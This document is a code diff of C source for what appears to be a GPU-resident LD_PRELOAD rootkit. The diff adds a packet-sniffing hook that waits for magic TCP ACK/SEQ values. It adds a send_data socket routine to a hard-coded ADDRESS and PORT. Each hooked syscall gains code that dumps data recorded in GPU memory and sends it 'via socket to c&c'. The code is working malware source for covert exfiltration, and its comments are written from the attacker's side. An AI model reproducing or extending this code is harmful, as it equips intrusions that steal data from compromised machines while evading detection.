| skipped 15 lines |
16 | 16 | | |
17 | 17 | | #include "jelly.h" |
18 | 18 | | #include "kit.h" |
| 19 | + | #include "pcap.h" |
| 20 | + | #include "packet.h" |
19 | 21 | | |
20 | 22 | | // get gpu device |
21 | 23 | | cl_device_id create_device(){ |
| skipped 55 lines |
77 | 79 | | } |
78 | 80 | | } |
79 | 81 | | |
| 82 | + | void got_packet(unsigned char *args, const struct pcap_pkthdr *header, const unsigned char *packet){ |
| 83 | + | const struct sniff_ip *ip; |
| 84 | + | const struct sniff_tcp *tcp; |
| 85 | + | |
| 86 | + | int size_ip, size_tcp; |
| 87 | + | unsigned int ack, seq; |
| 88 | + | |
| 89 | + | // calculate ip header offset |
| 90 | + | ip = (struct sniff_ip*)(packet + SIZE_ETHERNET); |
| 91 | + | size_ip = IP_HL(ip)*4; |
| 92 | + | if(size_ip < 20){ |
| 93 | + | // bad ip header |
| 94 | + | } |
| 95 | + | |
| 96 | + | // check for tcp packet |
| 97 | + | switch(ip->ip_p){ |
| 98 | + | case IPPROTO_TCP: |
| 99 | + | break; |
| 100 | + | default: |
| 101 | + | return; |
| 102 | + | } |
| 103 | + | |
| 104 | + | // calculate tcp header offset |
| 105 | + | tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip); |
| 106 | + | size_tcp = TH_OFF(tcp)*4; |
| 107 | + | if(size_tcp < 20){ |
| 108 | + | // bad tcp header |
| 109 | + | } |
| 110 | + | |
| 111 | + | ack = ntohl(tcp->th_ack); |
| 112 | + | seq = ntohl(tcp->th_seq); |
| 113 | + | |
| 114 | + | if(ack == MAGIC_ACK && seq == MAGIC_SEQ){ |
| 115 | + | correct_packet = TRUE; // bool global |
| 116 | + | } else{ |
| 117 | + | correct_packet = FALSE; |
| 118 | + | } |
| 119 | + | } |
| 120 | + | |
| 121 | + | static void send_data(const char *buffer){ |
| 122 | + | struct sockaddr_in serv_addr; |
| 123 | + | |
| 124 | + | int sock = socket(AF_INET, SOCK_STREAM, 0); |
| 125 | + | if(sock < 0){ |
| 126 | + | // socket failed |
| 127 | + | close(sock); |
| 128 | + | } |
| 129 | + | |
| 130 | + | memset(&serv_addr, 0, sizeof(serv_addr)); |
| 131 | + | serv_addr.sin_family = AF_INET; |
| 132 | + | serv_addr.sin_addr.s_addr = inet_addr(ADDRESS); |
| 133 | + | serv_addr.sin_port = htons(PORT); |
| 134 | + | |
| 135 | + | if(connect(sock,(struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){ |
| 136 | + | // connection failed |
| 137 | + | close(sock); |
| 138 | + | } |
| 139 | + | |
| 140 | + | if(send(sock, buffer, strlen(buffer), 0) < 0){ |
| 141 | + | // failed to send buffer |
| 142 | + | close(sock); |
| 143 | + | } |
| 144 | + | } |
| 145 | + | |
80 | 146 | | void jelly_init(){ |
81 | 147 | | int i; |
82 | 148 | | |
| skipped 62 lines |
145 | 211 | | } |
146 | 212 | | |
147 | 213 | | static void limit_buf(const char *buffer){ |
148 | | - | if(sizeof(buffer) > VRAM_LIMIT){ |
| 214 | + | if(sizeof(buffer) >= VRAM_LIMIT){ |
149 | 215 | | buffer = "Buffer too big for GPU!"; |
150 | 216 | | } |
151 | 217 | | } |
| skipped 14 lines |
166 | 232 | | |
167 | 233 | | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err); |
168 | 234 | | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
| 235 | + | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
169 | 236 | | if(err < 0){ |
170 | 237 | | // buffer failed |
171 | 238 | | } |
| skipped 13 lines |
185 | 252 | | // gpu kernel args |
186 | 253 | | err = clSetKernelArg(jelly->kernels[0], 0, sizeof(cl_mem), &log); |
187 | 254 | | err |= clSetKernelArg(jelly->kernels[0], 1, sizeof(cl_mem), &output); |
| 255 | + | err |= clSetKernelArg(jelly->kernels[0], 2, sizeof(cl_mem), &storage); |
188 | 256 | | if(err < 0){ |
189 | 257 | | // args failed |
190 | 258 | | } |
| skipped 6 lines |
197 | 265 | | |
198 | 266 | | // buffer is now inside gpu |
199 | 267 | | |
200 | | - | /* |
201 | | - | if(server == connected){ |
202 | | - | dump gpu data |
203 | | - | free buffer |
204 | | - | } else{ |
205 | | - | do not free buffer |
206 | | - | continue |
| 268 | + | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 269 | + | if(correct_packet){ |
| 270 | + | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
| 271 | + | if(err < 0){ |
| 272 | + | // gpu buffer read failed |
207 | 273 | | } |
| 274 | + | send_data(buffer); // send dumped data via socket to c&c |
| 275 | + | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 276 | + | } |
208 | 277 | | |
209 | | - | */ |
| 278 | + | // reset |
| 279 | + | buffer3 = ""; |
| 280 | + | buffer2 = ""; |
| 281 | + | buffer = ""; |
210 | 282 | | |
211 | 283 | | // release gpu memory then start over when syscall is called again |
| 284 | + | // we dont release storage object as it will continue to record data to gpu if attacker has not sent magic packet yet |
212 | 285 | | clReleaseContext(jelly->ctx); |
213 | 286 | | clReleaseProgram(jelly->program); |
214 | 287 | | clReleaseMemObject(log); |
| skipped 17 lines |
232 | 305 | | |
233 | 306 | | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err); |
234 | 307 | | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
| 308 | + | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
235 | 309 | | if(err < 0){ |
236 | 310 | | // buffer failed |
237 | 311 | | } |
| skipped 12 lines |
250 | 324 | | |
251 | 325 | | // gpu kernel args |
252 | 326 | | err = clSetKernelArg(jelly->kernels[1], 0, sizeof(cl_mem), &log); |
253 | | - | err |= clSetkernelArg(jelly->kernels[1], 0, sizeof(cl_mem), &output); |
| 327 | + | err |= clSetKernelArg(jelly->kernels[1], 1, sizeof(cl_mem), &output); |
| 328 | + | err |= clSetKernelArg(jelly->kernels[1], 2, sizeof(cl_mem), &storage); |
254 | 329 | | if(err < 0){ |
255 | 330 | | // args failed |
256 | 331 | | } |
| skipped 6 lines |
263 | 338 | | |
264 | 339 | | // buffer is now inside gpu |
265 | 340 | | |
266 | | - | /* |
267 | | - | if(server == connected){ |
268 | | - | dump gpu data |
269 | | - | free buffer |
270 | | - | } else{ |
271 | | - | do not free buffer |
272 | | - | continue |
| 341 | + | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 342 | + | if(correct_packet){ |
| 343 | + | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
| 344 | + | if(err < 0){ |
| 345 | + | // gpu buffer read failed |
273 | 346 | | } |
| 347 | + | send_data(buffer); // send dumped data via socket to c&c |
| 348 | + | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 349 | + | } |
274 | 350 | | |
275 | | - | */ |
| 351 | + | // reset |
| 352 | + | buffer3 = ""; |
| 353 | + | buffer2 = ""; |
| 354 | + | buffer = ""; |
276 | 355 | | |
277 | 356 | | // release gpu memory then start over when syscall is called again |
278 | 357 | | clReleaseContext(jelly->ctx); |
| skipped 19 lines |
298 | 377 | | |
299 | 378 | | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err); |
300 | 379 | | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
| 380 | + | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
301 | 381 | | if(err < 0){ |
302 | 382 | | // buffer failed |
303 | 383 | | } |
| skipped 12 lines |
316 | 396 | | |
317 | 397 | | // gpu kernel args |
318 | 398 | | err = clSetKernelArg(jelly->kernels[2], 0, sizeof(cl_mem), &log); |
319 | | - | err |= clSetkernelArg(jelly->kernels[2], 0, sizeof(cl_mem), &output); |
| 399 | + | err |= clSetKernelArg(jelly->kernels[2], 1, sizeof(cl_mem), &output); |
| 400 | + | err |= clSetKernelArg(jelly->kernels[2], 2, sizeof(cl_mem), &storage); |
320 | 401 | | if(err < 0){ |
321 | 402 | | // args failed |
322 | 403 | | } |
| skipped 6 lines |
329 | 410 | | |
330 | 411 | | // buffer is now inside gpu |
331 | 412 | | |
332 | | - | /* |
333 | | - | if(server == connected){ |
334 | | - | dump gpu data |
335 | | - | free buffer |
336 | | - | } else{ |
337 | | - | do not free buffer |
338 | | - | continue |
| 413 | + | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 414 | + | if(correct_packet){ |
| 415 | + | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
| 416 | + | if(err < 0){ |
| 417 | + | // gpu buffer read failed |
339 | 418 | | } |
| 419 | + | send_data(buffer); // send dumped data via socket to c&c |
| 420 | + | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 421 | + | } |
340 | 422 | | |
341 | | - | */ |
| 423 | + | // reset |
| 424 | + | buffer3 = ""; |
| 425 | + | buffer2 = ""; |
| 426 | + | buffer = ""; |
342 | 427 | | |
343 | 428 | | // release gpu memory then start over when syscall is called again |
344 | 429 | | clReleaseContext(jelly->ctx); |
| skipped 50 lines |
395 | 480 | | |
396 | 481 | | // buffer is now inside gpu |
397 | 482 | | |
398 | | - | /* |
399 | | - | if(server == connected){ |
400 | | - | dump gpu data |
401 | | - | free buffer |
402 | | - | } else{ |
403 | | - | do not free buffer |
404 | | - | continue |
| 483 | + | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 484 | + | if(correct_packet){ |
| 485 | + | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
| 486 | + | if(err < 0){ |
| 487 | + | // gpu buffer read failed |
405 | 488 | | } |
| 489 | + | send_data(buffer); // send dumped data via socket to c&c |
| 490 | + | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 491 | + | } |
406 | 492 | | |
407 | | - | */ |
| 493 | + | // reset |
| 494 | + | buffer3 = ""; |
| 495 | + | buffer2 = ""; |
| 496 | + | buffer = ""; |
408 | 497 | | |
409 | 498 | | // release gpu memory then start over when syscall is called again |
410 | 499 | | clReleaseContext(jelly->ctx); |
| skipped 19 lines |
430 | 519 | | |
431 | 520 | | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err); |
432 | 521 | | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
| 522 | + | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
433 | 523 | | if(err < 0){ |
434 | 524 | | // buffer failed |
435 | 525 | | } |
| skipped 12 lines |
448 | 538 | | |
449 | 539 | | // gpu kernel args |
450 | 540 | | err = clSetKernelArg(jelly->kernels[4], 0, sizeof(cl_mem), &log); |
451 | | - | err |= clSetkernelArg(jelly->kernels[4], 0, sizeof(cl_mem), &output); |
| 541 | + | err |= clSetKernelArg(jelly->kernels[4], 1, sizeof(cl_mem), &output); |
| 542 | + | err |= clSetKernelArg(jelly->kernels[4], 2, sizeof(cl_mem), &storage); |
452 | 543 | | if(err < 0){ |
453 | 544 | | // args failed |
454 | 545 | | } |
| skipped 6 lines |
461 | 552 | | |
462 | 553 | | // buffer is now inside gpu |
463 | 554 | | |
464 | | - | /* |
465 | | - | if(server == connected){ |
466 | | - | dump gpu data |
467 | | - | free buffer |
468 | | - | } else{ |
469 | | - | do not free buffer |
470 | | - | continue |
| 555 | + | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 556 | + | if(correct_packet){ |
| 557 | + | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
| 558 | + | if(err < 0){ |
| 559 | + | // gpu buffer read failed |
471 | 560 | | } |
| 561 | + | send_data(buffer); // send dumped data via socket to c&c |
| 562 | + | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 563 | + | } |
472 | 564 | | |
473 | | - | */ |
| 565 | + | // reset |
| 566 | + | buffer3 = ""; |
| 567 | + | buffer2 = ""; |
| 568 | + | buffer = ""; |
474 | 569 | | |
475 | 570 | | // release gpu memory then start over when syscall is called again |
476 | 571 | | clReleaseContext(jelly->ctx); |
| skipped 19 lines |
496 | 591 | | |
497 | 592 | | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err); |
498 | 593 | | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
| 594 | + | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
499 | 595 | | if(err < 0){ |
500 | 596 | | // buffer failed |
501 | 597 | | } |
| skipped 12 lines |
514 | 610 | | |
515 | 611 | | // gpu kernel args |
516 | 612 | | err = clSetKernelArg(jelly->kernels[5], 0, sizeof(cl_mem), &log); |
517 | | - | err |= clSetkernelArg(jelly->kernels[5], 0, sizeof(cl_mem), &output); |
| 613 | + | err |= clSetKernelArg(jelly->kernels[5], 1, sizeof(cl_mem), &output); |
| 614 | + | err |= clSetKernelArg(jelly->kernels[5], 2, sizeof(cl_mem), &storage); |
518 | 615 | | if(err < 0){ |
519 | 616 | | // args failed |
520 | 617 | | } |
| skipped 6 lines |
527 | 624 | | |
528 | 625 | | // buffer is now inside gpu |
529 | 626 | | |
530 | | - | /* |
531 | | - | if(server == connected){ |
532 | | - | dump gpu data |
533 | | - | free buffer |
534 | | - | } else{ |
535 | | - | do not free buffer |
536 | | - | continue |
| 627 | + | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 628 | + | if(correct_packet){ |
| 629 | + | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
| 630 | + | if(err < 0){ |
| 631 | + | // gpu buffer read failed |
537 | 632 | | } |
| 633 | + | send_data(buffer); // send dumped data via socket to c&c |
| 634 | + | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 635 | + | } |
538 | 636 | | |
539 | | - | */ |
| 637 | + | // reset |
| 638 | + | buffer3 = ""; |
| 639 | + | buffer2 = ""; |
| 640 | + | buffer = ""; |
540 | 641 | | |
541 | 642 | | // release gpu memory then start over when syscall is called again |
542 | 643 | | clReleaseContext(jelly->ctx); |
| skipped 19 lines |
562 | 663 | | |
563 | 664 | | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err); |
564 | 665 | | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
| 666 | + | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
565 | 667 | | if(err < 0){ |
566 | 668 | | // buffer failed |
567 | 669 | | } |
| skipped 12 lines |
580 | 682 | | |
581 | 683 | | // gpu kernel args |
582 | 684 | | err = clSetKernelArg(jelly->kernels[6], 0, sizeof(cl_mem), &log); |
583 | | - | err |= clSetkernelArg(jelly->kernels[6], 0, sizeof(cl_mem), &output); |
| 685 | + | err |= clSetKernelArg(jelly->kernels[6], 1, sizeof(cl_mem), &output); |
| 686 | + | err |= clSetKernelArg(jelly->kernels[6], 2, sizeof(cl_mem), &storage); |
584 | 687 | | if(err < 0){ |
585 | 688 | | // args failed |
586 | 689 | | } |
| skipped 6 lines |
593 | 696 | | |
594 | 697 | | // buffer is now inside gpu |
595 | 698 | | |
596 | | - | /* |
597 | | - | if(server == connected){ |
598 | | - | dump gpu data |
599 | | - | free buffer |
600 | | - | } else{ |
601 | | - | do not free buffer |
602 | | - | continue |
| 699 | + | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 700 | + | if(correct_packet){ |
| 701 | + | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
| 702 | + | if(err < 0){ |
| 703 | + | // gpu buffer read failed |
603 | 704 | | } |
| 705 | + | send_data(buffer); // send dumped data via socket to c&c |
| 706 | + | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 707 | + | } |
604 | 708 | | |
605 | | - | */ |
| 709 | + | // reset |
| 710 | + | buffer3 = ""; |
| 711 | + | buffer2 = ""; |
| 712 | + | buffer = ""; |
606 | 713 | | |
607 | 714 | | // release gpu memory then start over when syscall is called again |
608 | 715 | | clReleaseContext(jelly->ctx); |
| skipped 6 lines |
615 | 722 | | return syscall[SYS_OPEN].syscall_func(pathname, flags, mode); |
616 | 723 | | } |
617 | 724 | | |
| 725 | + | // purely experimental, we want to catch ack-seq packet and tell other syscalls "hey, its time to dump what gpu has recorded" |
| 726 | + | int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, unsigned char *user){ |
| 727 | + | jelly_init(); |
| 728 | + | |
| 729 | + | return (long)syscall_list[SYS_PCAP_LOOP].syscall_func(p, cnt, got_packet, user); |
| 730 | + | } |